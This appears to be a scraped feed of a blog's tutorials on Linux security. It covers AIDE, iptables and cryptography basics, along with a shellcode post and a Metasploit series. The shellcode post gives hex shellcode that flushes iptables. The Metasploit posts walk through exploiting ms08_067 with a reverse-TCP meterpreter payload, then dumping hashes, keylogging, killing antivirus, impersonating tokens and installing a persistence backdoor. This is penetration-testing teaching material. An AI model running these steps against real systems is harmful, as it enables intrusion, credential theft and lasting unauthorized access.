Changed files:
---------------------------------------------------

changed: /etc/hosts
changed: /etc/sysconfig/networking/profiles/default/hosts

---------------------------------------------------
Detailed information about changes:
---------------------------------------------------


File: /etc/hosts
 Size     : 194                              , 216
 Mtime    : 2011-08-07 01:27:39              , 2011-08-08 08:42:27
 Ctime    : 2011-08-07 01:27:39              , 2011-08-08 08:42:27
 MD5      : 02FfBTSv7TnxZkxsS9VL3g==         , 5p1GYAT86+ChpPhP3T5Rzg==

File: /etc/sysconfig/networking/profiles/default/hosts
 Size     : 194                              , 216
 Mtime    : 2011-08-07 01:27:39              , 2011-08-08 08:42:27
 Ctime    : 2011-08-07 01:27:39              , 2011-08-08 08:42:27
 MD5      : 02FfBTSv7TnxZkxsS9VL3g==         , 5p1GYAT86+ChpPhP3T5Rz

it's works right 
if i want to make this change on /etc/hosts is to be add to aide data base 
aide -c aide.conf --update 
AIDE, version 0.15.1

### All files match AIDE database. Looks okay!

### New AIDE database written to aide.db.new

if i recheck integrity aide -c aide.conf  --check
AIDE, version 0.15.1

### All files match AIDE database. Looks okay!

Finally i recommend to use this program frequently and check integrity of these files (/bin /boot /etc /lib /usr /sbin) 
Add to aide.conf
/bin     R
/boot   R
/etc     R
/lib      R
/usr     R
/sbin    R

Hint1 : if you want to create data base for (/) file add / R
Hint2 : if you want to make a compressed data base uncomment 
# gzip_dbout=no and change it's value to yes  and create new data base (will create compressed data base).

IPTables 1

$
0
0
IPTables

IPTables is a front-end to control and manage netfilter.
Netfilter (firewall) is a framework integrated in Linux Kernel.
IPTables is consist of 3 tables (Filter,NAT,Mangle).
We will focus on layer 3 (Network) controlling source and destination IP Addresses , And layer 4 (Transport) TCP and UDP.
Filter table uses to control IP packets filtering , and it's consist of 3 chains (INPUT,FORWARD,OUTPUT)


  • HOW To use IPTables:

IPTables command consist of parts starting with iptables , we now discuss iptables command fields
1- iptables
2- action (APPEND,replace,inseart,delete..) followed by name of the chain such as (INPUT,FORWARD,OUTPUT) for Filter tables .
3- name of the tables with -t option (-t mangle) , if not specified so it's a filter table by default .
4- specify source IP (-s),destination IP (-d) or both .
5- specify Protocol with ports , protocols such as (tcp,udp,icmp) with (-p),And Source port and Destination port such as (ssh,telnet ...) with (--sport) ,(--dport) respectively.
6- select target with (-j) option followed by type of target (ACCEPT,DROP,DENY,LOG,REJECT)

Hint 1: in step 3, don't use this step if you work on Filter tables , if not you should specify the name of tables.
Hint 2: you don't have to use all the steps , use what is required to make a rule right and more safety

Examples :
1- block IP address 192.168.0.20 to connect to my ssh
iptables -A INPUT -s 192.168.0.20 -p tcp --dport ssh -j DROP
-A to append the rule
INPUT to specify the name of chain , INPUT chain concerned with input communication
-s specify IP address
-p specify protocol name
--dport specify destination port (destination port because we now handling INPUT communication)
-j select target name to refuse this communication
To make sure that the rule is appended iptables -L

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       tcp  --  192.168.0.20         anywhere            tcp dpt:ssh 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

now we block 192.168.0.20 to connect with local ssh
2- bloch 192.168.0.20 to connect with local system
iptables -A INPUT -s 192.168.0.20 -j DROP
Hint 3:To start iptables /sbin/service iptables start
Hint 4: to make iptables start with system booting /sbin/chkconfig iptables on 
Hint 5:use /sbin/ip6tables to configure you firewall with IPV6.

IPTables 2

$
0
0
                                     IPTables 2
  • Matching in IPTables 
IPTables basically based on matching all packets with rules in IPTables tables  (Filter,NAT,Mangle).
So we can manage matching based on various ways (MAC , IP , ports , protocols .. etc ) or we can say it's based on Network layers (Data Link , Network , Transport).


  • For layer 2 (Data Link) based on MAC address:


For source MAC You can use this flag (-m mac --mac-source) 
For destination MAC you can use this flag (-m mac --mac-destination)

This will match based in MAC address instead of IP address

Example :
To block traffic from 192.168.0.5 with MAC address (00:C6:3A:54:8D:05)

iptables -A INPUT -m mac --mac-source 00:c6:3A:54:8D:05 -J RDOP


  • For Layer 3 (Network) based on IP address:


For source IP you can use this flags(-s or --src or --source)
For destination IP you can use this flags (-d or --dst or --destination)

Example:
Block all traffic from 192.168.0.5
iptables -A INPUT -s 192.168.0.5 -J DROP
or
iptables -A INPUT --src 192.168.0.5 -J DROP
or
iptables -A INPUT --source 192.168.0.5 -J DROP


  • For layer 4 (Transport) Baed on protocol and ports:


Protocols such as (TCP UDP ICMP)

For protocol you can use this flag (-p or --protocol)
For source port you can use this flags (--sport or --source-port)
For destination port you can use this flags (--dport or --destination-port)

Example for TCP:
Allow host 192.168.0.5 to connect with my SSH
iptables -A INPUT -s 192.168.0.5 -p tcp --dport 22 -J ACCEPT

Example for UDP:
1-Allow hosts to connect with my NTP (port=123)
iptables -A INPUT -p udp --dport 123 -J ACCEPT
2- Deny access to syslog (port=514)
iptables -A INPUT -p udp --dport 514 -J DROP


How to deal with ICMP protocol ?

There are two of ICMP types
1- echo-request
2- echo-replay

Example:
ping 10.0.0.10
This mean my computer send echo-request to 10.0.0.10 and this host sends echo-replay
This process known as ping or
ping for echo-request
pong for echo-replay

Now how to handling ICMP in IPTables ?

by using protocol flags ( -p or --protocol ) and use (--icmp-type) to specify which type you want to deal with.

Example:
blocking my computer to replay on ping request or (deny echo-replay)
iptables -A INPUT -p icmp --icmp-type echo-replay -J DROP

IPTables 3

$
0
0
IPTables 3

  • Adding new chain :

You can use this flag (-N)

example
iptables -N LAN

Practical example :

To manage your Intranet easily you should write a new chain and write Intranet rules in this chain.
1- Create new chain
iptables -N LAN
2- Forward all traffic in network (192.168.0.0/24) into LAN chain.
iptables -I INPUT 1 -s 192.168.0.0/24 -J LAN
Then you can manage your Intranet rules easily in LAN chain such as :
iptables -A LAN -p tcp --dport 22 -J ACCEPT


  • Change Default Policy :

You can change default policy for a chain from ACCEPT to DROP or to LOG ... etc
For example to change default policy for INPUT chain to DROP all communication instead of ACCEPT

Example :
iptables -P INPUR DROP

  • Matching multiple ports :

Uses to match more than one port in one rule
You can use this flag (-m multiport)

Example
Deny hosts to connect to SSH and Telnet
iptables -A INPUT -p tcp -m multiport --dport 22,23 -J DROP


  • List rules :

Use this command to list rules for all chains

Example :
iptables -L


Chain INPUT (policy ACCEPT)
target     prot opt source               destination      
ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHED
ACCEPT     icmp --  anywhere             anywhere          
ACCEPT     all  --  anywhere             anywhere          
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ssh
REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination      
REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


  • List rules by line number :

Use this command to list rules by line number

Example :
sudo iptables -L –line-number



Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED
2 ACCEPT icmp -- anywhere anywhere
3 ACCEPT all -- anywhere anywhere
4 ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:ssh
5 REJECT all -- anywhere anywhere reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT)
num target prot opt source destination
1 REJECT all -- anywhere anywhere reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT)
num target prot opt source destination   

  • Deleting :

For deleting rules by rule number (line number)
You can use this flag (-D)

Example :
iptables -D INPUT 4

This will delete line number 4 from input chain.

  • Replace :

For replacing one rule with anther one by line number
You can use this flag (-R)

Example :
iptables -R INPUT 3 -s 192.168.0.5 -J ACCEPT

This will replace rule number 4 in input chain with ( Accept 192.168.0.5 )

  • Inserting :

For inserting rule in a chain by line number 
You can use this flag (-I)

Example :
iptables -I INPUT 4 -p tcp --dport 22 -J ACCEPT

This will insert in line number 4 (ACCEPT SSH)

  • Negation :

You can use this flag (!)

Example :
Deny all traffic but not from 192.168.0.10

iptables -A INPUT -s ! 192.168.0.10 -J DROP


  • Logging :

For logging a traffic 
You can use this flag (-J LOG)

Example :
Log all traffic from 192.168.0.10

iptables -A INPUT -s 192.168.0.10 -J LOG


  • Dealing with wildcard :

Such as eth , ppp ... etc
You can use this flag (-i) , and replace the number beside the interface with + such as (eth+) instead of (eth0 or eth1 .. etc).

Example :
Deny SSH from eth interface

iptables -A INPUT -i eth+ -p tcp --dport 22 -J DROP


Hint :You must manage your chains and rules in perfect way because processing occurs in IPTables on packages from up to down , and this may affect on your connection speed.

Converting Binary to shellcode

$
0
0

Converting a Binary to shellcode


Now we will talk about converting a binary to shellcode
by using this program binary2shellcode (FOR LINUX AND UNIX)

1- Compile & Run :

To build binary2shellcode

    cd /Debuag
    sudo make
The program will be installed in /usr/bin/ and the app name bin2shell.
To test just run it (/usr/bin/bin2shell) and it should be like this

2- Use Binary2Shellcode :

We have here assembly code to flush iptables (iptables  -F) with 43 bytes size


xor       %eax,%eax
push     %eax
pushw  $0x462d
movl    %esp,%esi
pushl    %eax
pushl    $0x73656c62
pushl    $0x61747069
pushl    $0x2f6e6962
pushl    $0x732f2f2f
mov     %esp,%ebx
pushl    %eax
pushl    %esi
pushl    %ebx
movl     %esp,%ecx
mov      %eax,%edx
mov      $0xb,%al
int         $0x80

Let's compile and link and then try to run it



It's works fine

Now we have to convert the assembly code into shellcode so we can inject it as a payload by using Binary2Shellcode application

$bin2shell flush-iptables 


The shellcode is

\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6
\x50\x68\x62\x6c\x65\x73\x68\x69\x70
\x74\x61\x68\x62\x69\x6e\x2f\x68\x2f 
\x2f\x2f\x73\x89\xe3\x50\x56\x53\x89 
\xe1\x89\xc2\xb0\x0b\xcd\x80

Now let's try it in C code 



It's works fine too

Hint 1: Binary2Shell program is works only under Unix and Linux.
Hint 2: Binary2Shell is opensource  written in C under GNU General Public License.
Hint 3: Binary2Shell calculate the size of shellcode.
Hint 4: Binary2Shell Link https://github.com/Hamza-Megahed/binary2shellcode

Metasploit 1

$
0
0
Metasploit 1
Introduction 

Metasploit framework is a penetration testing framework that contain a lot of tools (port scanners , vulnerability scanners ...etc) .

Now we will start with the important step in penetration testing 

Information Gathering :
The first and the most imprtant step in penetration testing is information gathering , it is collecting as much information as possible about a target and your information must be accurate. Information gathering is 2 types 

1- Passive information Gathering
It's collecting information wthout touching the target like using

A- Google (or any other search engine)
B- whois
C- nslookup
D- netcraft

2- Active Information Gatherig
It's collecting information by touching the target like using (nmap).

NMAP:

some nmap options:

-oX ---> Export a report
-sI ---> Scan targets stealthy by spoofing ip address (Idle IP)
-A ----> Banner graabbing
-sS ---> Stealth TCP port scan
-Pn ---> Don't use ICMP (Don't ping)

Using nmap in Metasploit 

First you must connect to database (to dump results in it) 
by using command db_status and the result must be postgresql connected to msf3
Then use (db_nmap -A example.com)

msf > db_nmap -sS 127.0.0.1

[*] Nmap: Starting Nmap 6.25 ( http://nmap.org ) 
[*] Nmap: Nmap scan report for root (127.0.0.1)
[*] Nmap: Host is up (0.000012s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 22/tcp   open  ssh
[*] Nmap: 3001/tcp open  nessus
[*] Nmap: 5432/tcp open  postgresql
[*] Nmap: 5900/tcp open  vnc
[*] Nmap: 9050/tcp open  tor-socks
[*] Nmap: 9091/tcp open  xmltec-xmlmail
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds

Note: Metasploit uses PostgreSQL database to store your results such as (nmap results nusses results ... )

To get the results in detail use hosts command

address        macnameos_nameos_flavor  os_sp  purpose 
   -------          ---   ----     -------         ---------  -----  -------
127.0.0.1     00:22:68:31:93:b0     Unknown                         device
192.168.0.131  00:16:e6:64:5d:d1                  Unknown                              device
192.168.0.155Microsoft WindowsXP  SP2  client 

Metasploit 2

$
0
0

Metasploit 2


Scanning By Modules

Metasploit contains a lot of modules such as (port scanners , banner grabbers for services ... etc).
We will use here some of these modules

Note: to get port scanner modules msf>search portscan


1- TCP-SYN scanning

To make TCP-SYN port scan (syn)

To use a module use (use) command

msf>use auxiliary/scanner/portscan/syn

Then to adjust this modules use (show options) , you will see many options and you can set any variable you want by (set) command

For example to set IP address of the target address
set RHOST 192.168.0.1
set THREADS 100



To start execute the module use (run) command



2- SMB (server message block)

We use this scan to get Windows version (smb_version)

msf>use auxiliary/scanner/smb/smb_version




3- FTP scan 

To get FTP version or FTP banner (ftp_version)

msf>use auxiliary/scanner/ftp/ftp_version




To get tgat FTP alloow anonymous login (anonymous)

msf>use auxiliary/scanner/ftp/anonymous

4- SSH scan 

To get SSH version (ssh_version)

msf>use auxiliary/scanner/ssh/ssh_version




5- MS-SQL scan

MS-SQL uses static TCP port 1433 or it's use a dynamic porting so it's uses a query UDP port 1434
(ms-sql) module can do
A- Locate MS-SQL in a network
B- Get the instance name
C - Get porn number
D- Get the version of MS-SQL

msf>use auxiliary/scanner/mssql/mssql_ping

Note: For sure these modules can use for entire network
(set RHOST 192.168.0.0/24)

Metasploit 3

$
0
0
Metasploit 3



Advanced Commands 

Now we will introduce  some advanced commands in metasploit (msfconsole)

1- show exploits

msf> show exploits

Display all exploites available in metasploit


2- show auxiliary

msf> show auxiliary

Display all auxiliaries available in metasploit (scanners, fuzzers , DOS tools ... etc)




3- show options

msf> show options 

Display all the options available in specific exploit (for example ms03_026_dcom exploit)



4- show payloads

msf> show payloads

Display payloads that are related to the current module (ms03_026_dcom exploit)



5- show targets

msf> show targets

One exploit may targerting several versions of one OS , This option display the targets of this exploit (ms03_026_dcom exploit)



6- info

msf> info

Display all information about this module (exploit or auxiliary)

Exploit:


Auxiliaries:



7- set and unset

This command is use to enable on an option or to disable it

For example

To enable meterpreter reverse TCP payload for ms03_026_dcom exploit

msf> set PAYLOAD windows/meterpreter/reverse_tcp



To disable meterpreter reverse TCP payload ms03_026_dcom exploit

msf> unset PAYLOAD windows/meterpreter/reverse_tcp




Metasploit 4

$
0
0
Metasploit 4


Meterpreter part 1

What is meterpreter ?

Meterpreter is payload that uses DLL injection technique in memory so ,
Antiviruses software can't detect it because meterpreter writes nothing to disk
Meterpreter uses encrypted communications.

Now let's try to hack windows machine (Windows XP) and set Meterpreter as a payload 


First we will use ms08_067_netapi exploit
use exploit/windows/smb/ms08_067_netapi


Then we set the remote host (victim)
set RHOST 192.168.0.227

Then we set meterpreter as a payload
set PAYLOAD windows/meterpreter/reverse_tcp


we set the IP address of the local machine (attacker) so that meterpreter can connect back to the attacker machine

set LHOST 192.168.0.229


Then ...

exploit



Excellent

The exploit (ms08_067_netapi) succeed and the remote machine (victim) connecting back to the local machine (attacker) 
Now we have a Meterpreter session open 

Let's explore some basic Meterpreter commands:

1- sysinfo
collect information about the system



2- screenshot
capturing the current desktop


3- hashdump
Dumping the password hash



Note: Meterpreter containe many of scripts such as (vnc, winenum , chrome_enum, killav ...)
To run a scripr run script_name for exmple(run chrome_enum) to capture chrome credentials
To list all meterpreter scripts jsu type run and hit tab twice


4- keystrokes
keystroke is Keyboard Capturing software, keystroke records the keys struck on a keyboard.


A- migrate to explorer
First we use ps command to view all process on the remote machine to get the PID of explorer process (explorer PID = 1432)
Then we do migration
what is migrate ?
To migrate meterpreter session from one process to another to avoid loosing the session if the process is killed

migrate 1432


B- run keylog_recorder


Note : the output file is located in "/root/.msf4/logs/scripts/keylogrecorder/192.168.0.227_20130820.5859.txt"

Now on windows try to type on keyboard
ping 192.168.0.229 then CTRL+C


C- To interrupt keystroker hit CTRL+C

now let's view the dumped file
cat /root/.msf4/logs/scripts/keylogrecorder/192.168.0.227_20130820.5859.txt


As expected

5-Privilege Escalation

To get system as admin user (Full access full privilege)

A- Load priv extension 
use priv

B- To get system as admin 
getsystem

C- To verify the admin privilege
getuid


6- VNC

VNC(Virtual Network Computing) is a remote control desktop software 

To install VNC on the remote machine
run vnc




To unlock the remote screen
run screen_unlock


7- Token impersonation

How to impersonate user tokens to allow you to access to system or network without having to provide credentials.

There are two types of tokens
1- delegate : For interactive logons suck as (remote desktop and machine logging)
2- impersonate : For non-interactive logons such as domain logon

To do so you have to load incognito extension

use incognito

Then to list the tokens available
list_tokens -u



To get the tokens of SYSTEM
impersonate_token "NT AUTHORITY\\SYSTEM"



Now we currently running as SYSTEM (Full access)


OR

use ps command to list all running processes , Then you can steal the token of the owner of any process

A- ps



Now if i want to run as Administrator (owner of the process wuauctl.exe) PID = 1528 OR for sure  any other process that owned by Administrator

B-steal_token 1528



Metasploit 5

$
0
0
Metasploit 5


Meterpreter part 2


8- checkvm
To check if the remote system is a Vitrual machine

run checkvm

The target system is actually a virtual machine ruuning on VMware

9- killav
To kill antivirus

run killav


10- windows enumration
Collecting all information about the target machine such as (username , running process , tokens, network information , hardware information,groups, network route,firewall configuration,hash passwords, etc...)

run winenum


As mentioned the output is located in /root/.msf4/logs/scripts/winenum/BTRACK .....
To view the tokens



11- scraper
To collect information about the target machine such as (username , hash passwords, system info , etc...)

run scraper



12- persistence (backdoor)
Persistence is a backdoor allow you to connect back again anytime to the victim machine , because the user may patch the vulnerable services and you no longer can access to victim machine easily
so you have to install a backdoor on the victim machine to get access easily anytime

To list all options
persistence -h

-A Automatically start a machine multi/handler to connect to the agent
-L Location in target host where to write payload, if none %TEMP% will be used
-P Payload to use, default is windows/meterpreter/reverse_tcp
-S Automatically start the agent on boot as a service(with SYSTEM privileges)
-T Alternate executable templete to use
-U Automatically start the agent when the user logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back

To install persistence backdoor on the victim machine

run persistence -X -i 40 -p 4445 -r 192.168.0.229



Now the backdoor is installed on the victim machine

Now we kill the session to see if the persistence can connect back to the local host (attacker)

To show all open sessions
session -l
suppose that the open session with the victim (192.168.0.227) is session 1
now let's kill session 1
session -k 1

Now we lost the connection with the victim machine

To connect back by using backdoor we must first run multi/handler to listen and wait for a reverse connection from backdoor

use exploit/multi/handler

Then let's set the local address and local port
set LHOST 192.168.0.229
set LPORT 4445
Then
exploit


And we have a meterpreter session again ...


Cryptography1

$
0
0
Cryptography 1



Introduction to cryptography :

Now let's talk in details about 3 major concepts 
i- Computer Security , ii- OSI Security Architecture , iii- Cryptography


i - Computer security

A definition of computer security consists of 3 concepts , we can name these concepts as CIA security concept (Confidentiality, Integrity and Availability) :

1- Confidentiality : assure that confidential information is not available to unauthorized users.
2- Integrity : assure that information are only changed in a specified and authorized manner.
3- Availability : assure that services are available to authorized users.



ii - OSI Security Architecture
It is an international standard offers a systematic way of defining security requirements and characterizing the approaches to achieve these requirements.
The OSI security architecture focus on security attack, security mechanism, and security services , 

1- Security Attack : any action that compromises the security of information.
The security attack consists of 2 classesactive attack and passive attack

1- Passive attack : 

The main goal of this attack is to collect information about the victim without touching the victim services or alters the data content, such as monitoring of transmission data or traffic analysis.
Passive attack is very hard to detect because there is no real communication with victim's services or alteration in the data contents.

2- Active attack :

This type of attack involve touching the victim's services or some alteration to data contents or creating a false data .
Active attack has a several forms

A- Masquerade : The attacker pretends to be someone else . 
For example : The attacker want to connect to a network with a firewall , the firewall only accepts a list of MAC address , so the attacker will masquerade his MAC address or (spoof his MAC) to get access or to be authorized use.

B- Denial of service attack (DOS) : The goal of this attack is to prevent service/s on the victim's machine  by sending or redirecting a massive amount of data stream to the victim, this may block the service/s on this server until this action stops.
Active attack is not hard to detect but it's impossible to prevent this attack absolutely because it's has a wide range of potential attacks (OSs, SW , HW , Web applications , services ... etc).






2- Security mechanism : a process that is designed to detect, prevent, recover from a security attacks such as:
A- Digital Signature : a mechanism that prove the source and the integrity of information.
B- Access Control : a mechanism that allows only authorized users with a specific privileges.
C- Data Integrity : a mechanism that assure the integrity of data.
D- Cryptography : a mechanism that assure the secrecy of information or the secrecy of communication channels. 

3- Security Services : a processing or communication service that enhances the security of information or information transfers.




iii - Cryptography :

Is characterized to 3 points :

1- The type of operations used for transforming plaintext to ciphertext :
    All encryption algorithms are based on 2 principles
   A- Substitution : Which the elements in the plaintext are mapped into another elements.

    B- Transposition : Which the elements in the plaintext are rearranged


2- The number of key used :
     A- If encryption and decryption algorithms use the same key , so this system is symmetric key.
    B- If encryption and decryption algorithms use different keys , so this system is asymmetric key or public-key encryption.

3- The way in which the plaintext is processed :
     A- Block Cipher : The input is one block at a time and produces one block output for each input.
     B- Stream Cipher : The input is one element at a time and produces one output for each one input. 


   
Viewing all 38 articles
Browse latest View live